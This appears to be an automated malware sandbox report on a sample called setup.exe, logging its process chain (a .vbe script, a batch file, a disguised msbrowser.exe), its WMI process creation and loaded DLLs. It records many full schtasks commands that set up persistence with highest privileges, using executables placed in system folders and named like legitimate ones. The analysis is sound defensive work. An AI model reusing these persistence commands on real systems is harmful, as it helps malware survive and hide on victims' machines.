Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: setup.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe	ReversingLabs: Detection: 71%
Source: setup.exe	Virustotal: Detection: 58%

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 14 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 6 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 5 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 13 /tr "'C:\Recovery\ctfmon.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 8 /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: version.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: version.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Section loaded: cryptbase.dll	Jump to behavior
